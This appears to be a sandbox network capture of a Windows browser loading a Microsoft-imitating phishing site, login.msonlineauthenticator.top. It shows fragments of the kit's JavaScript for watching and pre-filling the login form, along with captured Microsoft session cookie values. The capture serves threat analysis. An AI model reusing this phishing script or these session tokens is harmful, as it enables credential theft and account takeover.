Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.7	49866	52.1.52.84	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:13 UTC	2543	OUT	GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90/697e47d51e6d8cca3cc04e14861a6d8f24131fd2a0218661bca3b5c9569e9cd3.js HTTP/1.1 Host: login.msonlineauthenticator.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.Ae4AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAADuAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFex2pP-I0zALTlsTVftaTmULYWHnTlyKyCV9or0k4FKnMU8IKw5kPsqxxBvNjtHngjxBLwLWE9vjeenLvrvRIy8Msj5cxWKezG9xtBZYYtA00gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeMRH4hl7ZhlCdDX1tfNeT8dJ3CUpzgRK95D0DnsboftAPuxqEIxsOzhw5ojB7aHvjv4zSiFOVOYnozkOBn4NzI3gKCxjdYGLxB5yN2d9eOK97shH6VTLPN1CQO4doNYxA5wi5YJKL6NDpH5Lv5Wbk2F8rJwLnMwCJ5N-FZg1icSQgAA; esctx-Mc0TKE8k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe9Gx1Jqutchza-C-gQYTMDoNoCGAQVLQekSJmGnXfqUHf4sxmq_7j_PplCH3Yf4KAvAwWdu-uA4EqfAxxCmdL0nv2Q8r9tG2IKTsFx5vQ4aJa5Ho6a3ueh8soEygnbcUxXy2MMJPglbs0M5VMnvGCVCAA; fpc=AmLITznCxPJGndwB [TRUNCATED]
2024-11-26 12:44:14 UTC	17	IN	HTTP/1.1 200 OK
2024-11-26 12:44:14 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-26 12:44:14 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-11-26 12:44:14 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2024-11-26 12:44:14 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-11-26 12:44:14 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:14 UTC	5	IN	Data Raw: 62 64 38 0d 0a Data Ascii: bd8
2024-11-26 12:44:14 UTC	3032	IN	Data Raw: 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6c 6f 61 64 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 6c 65 74 20 66 6f 72 6d 47 72 6f 75 70 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 6c 65 74 20 65 6d 61 69 6c 50 72 65 46 69 6c 6c 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 6c 65 74 20 77 69 6e 42 75 74 74 6f 6e 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 0a 20 20 2f 2f 20 43 72 65 61 74 65 20 61 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 20 74 6f 20 77 61 74 63 68 20 66 6f 72 20 63 68 61 6e 67 65 73 20 69 6e 20 74 68 65 20 44 4f 4d 0a 20 20 63 6f 6e 73 74 20 6f 62 73 65 72 76 65 72 20 3d 20 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 66 75 6e 63 74 69 6f 6e 28 6d 75 74 61 74 Data Ascii: window.addEventListener('load', function() { let formGroupLoaded = false; let emailPreFilled = false; let winButtonLoaded = false; // Create a MutationObserver to watch for changes in the DOM const observer = new MutationObserver(function(mutat
2024-11-26 12:44:14 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:14 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-11-26 12:44:14 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.7	49867	52.1.52.84	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:13 UTC	2478	OUT	GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90.js HTTP/1.1 Host: login.msonlineauthenticator.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.Ae4AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAADuAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFex2pP-I0zALTlsTVftaTmULYWHnTlyKyCV9or0k4FKnMU8IKw5kPsqxxBvNjtHngjxBLwLWE9vjeenLvrvRIy8Msj5cxWKezG9xtBZYYtA00gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeMRH4hl7ZhlCdDX1tfNeT8dJ3CUpzgRK95D0DnsboftAPuxqEIxsOzhw5ojB7aHvjv4zSiFOVOYnozkOBn4NzI3gKCxjdYGLxB5yN2d9eOK97shH6VTLPN1CQO4doNYxA5wi5YJKL6NDpH5Lv5Wbk2F8rJwLnMwCJ5N-FZg1icSQgAA; esctx-Mc0TKE8k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe9Gx1Jqutchza-C-gQYTMDoNoCGAQVLQekSJmGnXfqUHf4sxmq_7j_PplCH3Yf4KAvAwWdu-uA4EqfAxxCmdL0nv2Q8r9tG2IKTsFx5vQ4aJa5Ho6a3ueh8soEygnbcUxXy2MMJPglbs0M5VMnvGCVCAA; fpc=AmLITznCxPJGndwB [TRUNCATED]
2024-11-26 12:44:14 UTC	17	IN	HTTP/1.1 200 OK
2024-11-26 12:44:14 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-26 12:44:14 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-11-26 12:44:14 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2024-11-26 12:44:14 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-11-26 12:44:14 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:14 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2024-11-26 12:44:14 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2024-11-26 12:44:14 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:14 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-11-26 12:44:14 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:14 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:14 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:14 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 2ff5ce10-101e-0017-5791-3f47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124414Z-174f7845968frfdmhC1EWRxxbw0000000vdg00000000a46z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:14 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.7	49859	13.107.246.63	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:14 UTC	670	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.msonlineauthenticator.top sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://login.msonlineauthenticator.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:44:14 UTC	802	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:14 GMT Content-Type: text/css Content-Length: 20400 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 25 Sep 2024 21:42:27 GMT ETag: 0x8DCDDAAF34D1A25 x-ms-request-id: 7db57c97-801e-004a-1d6d-3860d9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241126T124414Z-174f7845968frfdmhC1EWRxxbw0000000vgg000000006k5g x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:14 UTC	15582	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 7d 6b 93 db 36 b2 e8 77 ff 0a ee a4 52 eb c9 4a 8c 48 3d 47 53 49 ad e3 78 93 39 c7 af b2 9d 7d 54 2a b5 c5 91 a8 11 8f 29 51 97 a4 66 3c ab a3 ff 7e f1 46 03 68 90 d4 78 b2 d9 7b 2b eb 8d 2d a2 1b 0d a0 d1 68 a0 81 6e e0 eb af fe 10 3c 2f 76 f7 65 76 b3 ae 83 a7 cf cf 83 57 d9 a2 2c aa 62 55 93 f4 72 57 94 49 9d 15 db 30 78 96 e7 01 43 aa 82 32 ad d2 f2 36 5d 86 c1 57 5f 7f fd d5 1f 9e f4 bb ff 2f 78 ff e1 d9 bb 0f c1 9b bf 04 1f 7e bc 7a f7 7d f0 96 7c fd 23 78 fd e6 c3 d5 f3 17 41 67 2a 4f 9e 7c 58 67 55 b0 ca f2 34 20 ff 5e 27 55 ba 0c 8a 6d 50 94 41 b6 5d 88 5a a7 55 b0 21 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 b4 21 cf aa 9a 64 ba 4e f3 e2 2e 78 4a c8 95 cb e0 6d 52 d6 f7 c1 d5 db f3 30 f8 40 70 0b d2 Data Ascii: }k6wRJH=GSIx9}T)Qf<~Fhx{+-hn</vevW,bUrWI0xC26]W_/x~z}\|#xAgO\|XgU4 ^'UmPA]ZU!Y:ve?!dN.xJmR0@p
2024-11-26 12:44:14 UTC	4818	IN	Data Raw: 9a 28 21 c8 a6 c7 75 4c ff b4 b4 67 78 ce 2b 2b 6e 13 d6 17 0b 8b ca ba c2 a2 2a 8b 88 bd ac 2c 12 31 2f 2a 2b 24 e5 a1 95 75 9e df 51 bb 5f 6a 19 63 dc bc c9 45 89 b5 70 47 5d 70 ca fb 9e 0e 20 56 49 be 20 69 14 01 46 49 a3 08 a2 a9 10 de 51 33 ab ab 42 ad 3a 03 51 82 c9 86 58 21 80 b6 66 35 88 5b 0b 1a d2 44 af 18 0e 06 e3 65 32 71 db a4 25 ce 20 03 a5 0f 01 b4 b6 c9 2f 95 2d 68 58 9b 7c d2 ca db f4 30 61 ec 73 a7 f6 1e b8 a8 5b 0e 36 f1 85 8e 36 04 a6 86 1b 02 93 e3 0d 14 66 70 df 93 6e 56 08 83 b4 76 40 43 45 db f0 b0 2e 10 57 99 1b 46 0a 7a 9a 6c 5e eb 5b 91 85 43 fa 34 bc 98 9d 23 97 02 03 20 96 48 ba 89 37 5f 87 50 e3 87 e3 60 22 80 5b d9 23 19 93 28 7f 18 bb 0c ee 13 f6 9e b3 cc 4f 7d b0 93 e5 be fa 81 1c e1 db 81 87 f8 c3 85 9e 97 26 d9 ad e4 e2 Data Ascii: (!uLgx++n,1/+$uQ_jcEpG]p VI iFIQ3B:QX!f5[De2q% /-hX\|0as[66fpnVv@CE.WFzl^[C4# H7_P`"[#(O}&

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:14 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:14 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:14 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: f1905457-c01e-0066-4580-3fa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124414Z-174f7845968zgtf6hC1EWRqd8s0000000ne0000000005ga4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:14 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:14 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:14 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:14 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: dc0e935b-901e-005b-3791-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124414Z-174f78459688l8rvhC1EWRtzr0000000084g00000000156b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:14 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.7	49864	13.107.246.63	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:14 UTC	647	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_h6TdaK6cfsrg175w47aRCA2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.msonlineauthenticator.top sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.msonlineauthenticator.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:44:14 UTC	798	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:14 GMT Content-Type: application/x-javascript Content-Length: 122341 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 23 Oct 2024 19:33:27 GMT ETag: 0x8DCF399919435D9 x-ms-request-id: d63c12a3-e01e-0044-198c-393ed6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241126T124414Z-174f7845968qj8jrhC1EWRh41s0000000vbg000000008h69 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:14 UTC	15586	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e4 bd 7b 77 e3 38 8e 38 fa ff fd 14 8e 66 6e da ee 28 2e cb af d8 4a ab b3 2e c7 a9 ca 76 12 67 e2 a4 ba 77 53 99 1c 59 a2 1d 75 64 c9 2b c9 79 8c e3 fd ec 3f 00 24 25 ca 96 53 55 bd 7b ee 3d f7 dc 79 54 2c 12 7c 81 20 08 80 20 f8 e1 e7 9d ff ab f4 73 69 ff fb ff 53 1a 5d f7 ae ae 4b c3 93 d2 f5 e7 d3 ab e3 d2 25 7c fd 47 e9 62 78 7d da 1f 7c 7f 3d d8 28 fe ff fa c1 8b 4b 13 cf 67 25 f8 3b b6 63 e6 96 c2 a0 14 46 25 2f 70 c2 68 1e 46 76 c2 e2 d2 0c fe 8d 3c db 2f 4d a2 70 56 4a 1e 58 69 1e 85 7f 32 27 89 4b be 17 27 50 68 cc fc f0 b9 54 86 ea 22 b7 74 69 47 c9 6b e9 f4 b2 52 85 fa 19 d4 e6 4d bd 00 4a 3b e1 fc 15 7e 3f 24 a5 20 4c 3c 87 95 ec c0 a5 da 7c f8 08 62 56 5a 04 2e 8b 4a cf 0f 9e f3 50 3a f7 9c 28 8c c3 49 52 8a 98 Data Ascii: {w88fn(.J.vgwSYud+y?$%SU{=yT,\| siS]K%\|Gbx}\|=(Kg%;cF%/phFv</MpVJXi2'K'PhT"tiGkRMJ;~?$ L<\|bVZ.JP:(IR
